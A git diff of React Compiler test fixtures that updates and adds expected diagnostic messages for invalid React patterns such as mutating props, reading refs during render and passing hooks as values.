diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.expect.md
index 19879150d071..c97cf9b86586 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
 function Component(props) {
   let x = null;
@@ -25,10 +25,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.invalid-mutate-props-in-effect-fixpoint.ts:10:4
    8 |   let y = x;
    9 |   let mutateProps = () => {
 > 10 |     y.foo = true;
-     |     ^ InvalidReact: Mutating component props or hook arguments is not allowed. Consider using a local variable instead. Found mutation of `y` (10:10)
+     |     ^ `y` cannot be modified
   11 |   };
   12 |   let mutatePropsIndirect = () => {
   13 |     mutateProps();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.js
index 9b886e12e8a9..078431234242 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-in-effect-fixpoint.js
@@ -1,4 +1,4 @@
-import { useEffect } from "react";
+import {useEffect} from 'react';
 
 function Component(props) {
   let x = null;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-via-for-of-iterator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-via-for-of-iterator.expect.md
index d7942fc6a5ec..164b5d977efe 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-via-for-of-iterator.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutate-props-via-for-of-iterator.expect.md
@@ -17,10 +17,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.invalid-mutate-props-via-for-of-iterator.ts:4:4
   2 |   const items = [];
   3 |   for (const x of props.items) {
 > 4 |     x.modified = true;
-    |     ^ InvalidReact: Mutating component props or hook arguments is not allowed. Consider using a local variable instead (4:4)
+    |     ^ value cannot be modified
   5 |     items.push(x);
   6 |   }
   7 |   return items;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.expect.md
index 342b8be9db4a..bd0d587f554d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.expect.md
@@ -5,7 +5,7 @@
 function useInvalidMutation(options) {
   function test() {
     foo(options.foo); // error should not point on this line
-    options.foo = "bar";
+    options.foo = 'bar';
   }
   return test;
 }
@@ -16,10 +16,38 @@ function useInvalidMutation(options) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.invalid-mutation-in-closure.ts:4:4
+  2 |   function test() {
+  3 |     foo(options.foo); // error should not point on this line
+> 4 |     options.foo = 'bar';
+    |     ^^^^^^^ `options` cannot be modified
+  5 |   }
+  6 |   return test;
+  7 | }
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `options` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-mutation-in-closure.ts:6:9
+  4 |     options.foo = 'bar';
+  5 |   }
+> 6 |   return test;
+    |          ^^^^ This function may (indirectly) reassign or modify `options` after render
+  7 | }
+  8 |
+
+error.invalid-mutation-in-closure.ts:4:4
   2 |   function test() {
   3 |     foo(options.foo); // error should not point on this line
-> 4 |     options.foo = "bar";
-    |     ^^^^^^^ InvalidReact: Mutating component props or hook arguments is not allowed. Consider using a local variable instead. Found mutation of `options` (4:4)
+> 4 |     options.foo = 'bar';
+    |     ^^^^^^^ This modifies `options`
   5 |   }
   6 |   return test;
   7 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.js
index 55581fedc383..ca438768ed31 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-in-closure.js
@@ -1,7 +1,7 @@
 function useInvalidMutation(options) {
   function test() {
     foo(options.foo); // error should not point on this line
-    options.foo = "bar";
+    options.foo = 'bar';
   }
   return test;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-of-possible-props-phi-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-of-possible-props-phi-indirect.expect.md
index 32d392f99fdc..4ac7af5bae6e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-of-possible-props-phi-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-mutation-of-possible-props-phi-indirect.expect.md
@@ -19,10 +19,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a variable defined outside a component or hook is not allowed. Consider using an effect.
+
+error.invalid-mutation-of-possible-props-phi-indirect.ts:4:4
   2 |   let x = cond ? someGlobal : props.foo;
   3 |   const mutatePhiThatCouldBeProps = () => {
 > 4 |     x.y = true;
-    |     ^ InvalidReact: Writing to a variable defined outside a component or hook is not allowed. Consider using an effect. Found mutation of `x` (4:4)
+    |     ^ `x` cannot be modified
   5 |   };
   6 |   const indirectMutateProps = () => {
   7 |     mutatePhiThatCouldBeProps();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.expect.md
new file mode 100644
index 000000000000..437fbcb38c3c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+import {useEffect} from 'react';
+function Component() {
+  let local;
+  const mk_reassignlocal = () => {
+    // Create the reassignment function inside another function, then return it
+    const reassignLocal = newValue => {
+      local = newValue;
+    };
+    return reassignLocal;
+  };
+  const reassignLocal = mk_reassignlocal();
+  const onMount = newValue => {
+    reassignLocal('hello');
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+  useEffect(() => {
+    onMount();
+  }, [onMount]);
+  return 'ok';
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot reassign variable after render completes
+
+Reassigning `local` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-nested-function-reassign-local-variable-in-effect.ts:7:6
+   5 |     // Create the reassignment function inside another function, then return it
+   6 |     const reassignLocal = newValue => {
+>  7 |       local = newValue;
+     |       ^^^^^ Cannot reassign `local` after render completes
+   8 |     };
+   9 |     return reassignLocal;
+  10 |   };
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.js
new file mode 100644
index 000000000000..92833663aae1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-nested-function-reassign-local-variable-in-effect.js
@@ -0,0 +1,37 @@
+import {useEffect} from 'react';
+function Component() {
+  let local;
+  const mk_reassignlocal = () => {
+    // Create the reassignment function inside another function, then return it
+    const reassignLocal = newValue => {
+      local = newValue;
+    };
+    return reassignLocal;
+  };
+  const reassignLocal = mk_reassignlocal();
+  const onMount = newValue => {
+    reassignLocal('hello');
+    if (local === newValue) {
+      // Without React Compiler, `reassignLocal` is freshly created
+      // on each render, capturing a binding to the latest `local`,
+      // such that invoking reassignLocal will reassign the same
+      // binding that we are observing in the if condition, and
+      // we reach this branch
+      console.log('`local` was updated!');
+    } else {
+      // With React Compiler enabled, `reassignLocal` is only created
+      // once, capturing a binding to `local` in that render pass.
+      // Therefore, calling `reassignLocal` will reassign the wrong
+      // version of `local`, and not update the binding we are checking
+      // in the if condition.
+      //
+      // To protect against this, we disallow reassigning locals from
+      // functions that escape
+      throw new Error('`local` not updated!');
+    }
+  };
+  useEffect(() => {
+    onMount();
+  }, [onMount]);
+  return 'ok';
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.expect.md
new file mode 100644
index 000000000000..93f804cae31b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+// @enableCustomTypeDefinitionForReanimated
+
+/**
+ * Test that a global (i.e. non-imported) useSharedValue is treated as an
+ * unknown hook.
+ */
+function SomeComponent() {
+  const sharedVal = useSharedValue(0);
+  return (
+    <Button
+      onPress={() => (sharedVal.value = Math.random())}
+      title="Randomize"
+    />
+  );
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed.
+
+error.invalid-non-imported-reanimated-shared-value-writes.ts:11:22
+   9 |   return (
+  10 |     <Button
+> 11 |       onPress={() => (sharedVal.value = Math.random())}
+     |                       ^^^^^^^^^ `sharedVal` cannot be modified
+  12 |       title="Randomize"
+  13 |     />
+  14 |   );
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.jsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.jsx
new file mode 100644
index 000000000000..8939b0ee00df
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-non-imported-reanimated-shared-value-writes.jsx
@@ -0,0 +1,15 @@
+// @enableCustomTypeDefinitionForReanimated
+
+/**
+ * Test that a global (i.e. non-imported) useSharedValue is treated as an
+ * unknown hook.
+ */
+function SomeComponent() {
+  const sharedVal = useSharedValue(0);
+  return (
+    <Button
+      onPress={() => (sharedVal.value = Math.random())}
+      title="Randomize"
+    />
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.expect.md
new file mode 100644
index 000000000000..fa5cc6d53f3e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+function Component(props) {
+  const data = useMemo(() => {
+    // actual code is non-optional
+    return props.items.edges.nodes ?? [];
+    // deps are optional
+  }, [props.items?.edges?.nodes]);
+  return <Foo data={data} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items.edges.nodes`, but the source dependencies were [props.items?.edges?.nodes]. Inferred different dependency than source.
+
+error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.ts:3:23
+   1 | // @validatePreserveExistingMemoizationGuarantees
+   2 | function Component(props) {
+>  3 |   const data = useMemo(() => {
+     |                        ^^^^^^^
+>  4 |     // actual code is non-optional
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+>  5 |     return props.items.edges.nodes ?? [];
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+>  6 |     // deps are optional
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+>  7 |   }, [props.items?.edges?.nodes]);
+     | ^^^^ Could not preserve existing manual memoization
+   8 |   return <Foo data={data} />;
+   9 | }
+  10 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.js
new file mode 100644
index 000000000000..1a6196a494e6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-optional-member-expression-as-memo-dep-non-optional-in-body.js
@@ -0,0 +1,9 @@
+// @validatePreserveExistingMemoizationGuarantees
+function Component(props) {
+  const data = useMemo(() => {
+    // actual code is non-optional
+    return props.items.edges.nodes ?? [];
+    // deps are optional
+  }, [props.items?.edges?.nodes]);
+  return <Foo data={data} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-call-arg.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-call-arg.expect.md
index d321a780179c..125faae8004b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-call-arg.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-call-arg.expect.md
@@ -12,9 +12,14 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-pass-hook-as-call-arg.ts:2:13
   1 | function Component(props) {
 > 2 |   return foo(useFoo);
-    |              ^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
+    |              ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   3 | }
   4 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-prop.expect.md
index 6ba2ad6b4171..64914ebbd1da 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-prop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-hook-as-prop.expect.md
@@ -12,9 +12,14 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
+
+error.invalid-pass-hook-as-prop.ts:2:21
   1 | function Component(props) {
 > 2 |   return <Child foo={useFoo} />;
-    |                      ^^^^^^ InvalidReact: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values (2:2)
+    |                      ^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values
   3 | }
   4 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.expect.md
new file mode 100644
index 000000000000..3c70bfe88657
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @validateNoFreezingKnownMutableFunctions
+function Component() {
+  const cache = new Map();
+  const fn = () => {
+    cache.set('key', 'value');
+  };
+  return <Foo fn={fn} />;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+error.invalid-pass-mutable-function-as-prop.ts:7:18
+  5 |     cache.set('key', 'value');
+  6 |   };
+> 7 |   return <Foo fn={fn} />;
+    |                   ^^ This function may (indirectly) reassign or modify `cache` after render
+  8 | }
+  9 |
+
+error.invalid-pass-mutable-function-as-prop.ts:5:4
+  3 |   const cache = new Map();
+  4 |   const fn = () => {
+> 5 |     cache.set('key', 'value');
+    |     ^^^^^ This modifies `cache`
+  6 |   };
+  7 |   return <Foo fn={fn} />;
+  8 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.js
new file mode 100644
index 000000000000..11793dfac5db
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-mutable-function-as-prop.js
@@ -0,0 +1,8 @@
+// @validateNoFreezingKnownMutableFunctions
+function Component() {
+  const cache = new Map();
+  const fn = () => {
+    cache.set('key', 'value');
+  };
+  return <Foo fn={fn} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-ref-to-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-ref-to-function.expect.md
index 27c116e346b7..eaa140eb90b1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-ref-to-function.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-pass-ref-to-function.expect.md
@@ -15,10 +15,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-pass-ref-to-function.ts:4:16
   2 | function Component(props) {
   3 |   const ref = useRef(null);
 > 4 |   const x = foo(ref);
-    |                 ^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (4:4)
+    |                 ^^^ Passing a ref to a function may read its value during render
   5 |   return x.current;
   6 | }
   7 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-prop-mutation-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-prop-mutation-indirect.expect.md
index bbaa2381c269..9bfb86eae8bf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-prop-mutation-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-prop-mutation-indirect.expect.md
@@ -18,10 +18,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.invalid-prop-mutation-indirect.ts:3:4
   1 | function Component(props) {
   2 |   const f = () => {
 > 3 |     props.value = true;
-    |     ^^^^^ InvalidReact: Mutating component props or hook arguments is not allowed. Consider using a local variable instead. Found mutation of `props` (3:3)
+    |     ^^^^^ `props` cannot be modified
   4 |   };
   5 |   const g = () => {
   6 |     f();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-property-store-to-frozen-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-property-store-to-frozen-value.expect.md
index 245a52183d7f..2fae0dffc0f0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-property-store-to-frozen-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-property-store-to-frozen-value.expect.md
@@ -16,10 +16,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.
+
+error.invalid-property-store-to-frozen-value.ts:5:2
   3 |   // freeze
   4 |   <div>{x}</div>;
 > 5 |   x.y = true;
-    |   ^ InvalidReact: Updating a value used previously in JSX is not allowed. Consider moving the mutation before the JSX (5:5)
+    |   ^ value cannot be modified
   6 |   return x;
   7 | }
   8 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-props-mutation-in-effect-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-props-mutation-in-effect-indirect.expect.md
index 372b1a9a85d8..2730e34077cb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-props-mutation-in-effect-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-props-mutation-in-effect-indirect.expect.md
@@ -18,10 +18,17 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: This value cannot be modified
+
+Modifying component props or hook arguments is not allowed. Consider using a local variable instead.
+
+error.invalid-props-mutation-in-effect-indirect.ts:3:4
   1 | function Component(props) {
   2 |   const mutateProps = () => {
 > 3 |     props.value = true;
-    |     ^^^^^ InvalidReact: Mutating component props or hook arguments is not allowed. Consider using a local variable instead. Found mutation of `props` (3:3)
+    |     ^^^^^ `props` cannot be modified
   4 |   };
   5 |   const indirectMutateProps = () => {
   6 |     mutateProps();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.expect.md
index d18692095926..cca903de74c9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-// @validateRefAccessDuringRender @compilationMode(infer)
-function Component({ ref }) {
+// @validateRefAccessDuringRender @compilationMode:"infer"
+function Component({ref}) {
   const value = ref.current;
   return <div>{value}</div>;
 }
@@ -14,10 +14,18 @@ function Component({ ref }) {
 ## Error
 
 ```
-  2 | function Component({ ref }) {
-  3 |   const value = ref.current;
-> 4 |   return <div>{value}</div>;
-    |                ^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef). Cannot access ref value at read $17:TObject<BuiltInRefValue> (4:4)
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-read-ref-prop-in-render-destructure.ts:3:16
+  1 | // @validateRefAccessDuringRender @compilationMode:"infer"
+  2 | function Component({ref}) {
+> 3 |   const value = ref.current;
+    |                 ^^^^^^^^^^^ Cannot access ref value during render
+  4 |   return <div>{value}</div>;
   5 | }
   6 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.js
index 2d5cf0ef2d80..81c58cf252d0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-destructure.js
@@ -1,5 +1,5 @@
-// @validateRefAccessDuringRender @compilationMode(infer)
-function Component({ ref }) {
+// @validateRefAccessDuringRender @compilationMode:"infer"
+function Component({ref}) {
   const value = ref.current;
   return <div>{value}</div>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.expect.md
index e374900a95ad..49b8e5d199f3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @validateRefAccessDuringRender @compilationMode(infer)
+// @validateRefAccessDuringRender @compilationMode:"infer"
 function Component(props) {
   const value = props.ref.current;
   return <div>{value}</div>;
@@ -14,10 +14,18 @@ function Component(props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-read-ref-prop-in-render-property-load.ts:3:16
+  1 | // @validateRefAccessDuringRender @compilationMode:"infer"
   2 | function Component(props) {
-  3 |   const value = props.ref.current;
-> 4 |   return <div>{value}</div>;
-    |                ^^^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef). Cannot access ref value at read $15:TObject<BuiltInRefValue> (4:4)
+> 3 |   const value = props.ref.current;
+    |                 ^^^^^^^^^^^^^^^^^ Cannot access ref value during render
+  4 |   return <div>{value}</div>;
   5 | }
   6 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.js
index c31a081366e4..abb1ff86fb1b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-read-ref-prop-in-render-property-load.js
@@ -1,4 +1,4 @@
-// @validateRefAccessDuringRender @compilationMode(infer)
+// @validateRefAccessDuringRender @compilationMode:"infer"
 function Component(props) {
   const value = props.ref.current;
   return <div>{value}</div>;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-const.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-const.expect.md
index adf45dad4fa9..25b9a5c1863b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-const.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-reassign-const.expect.md
@@ -13,10 +13,17 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
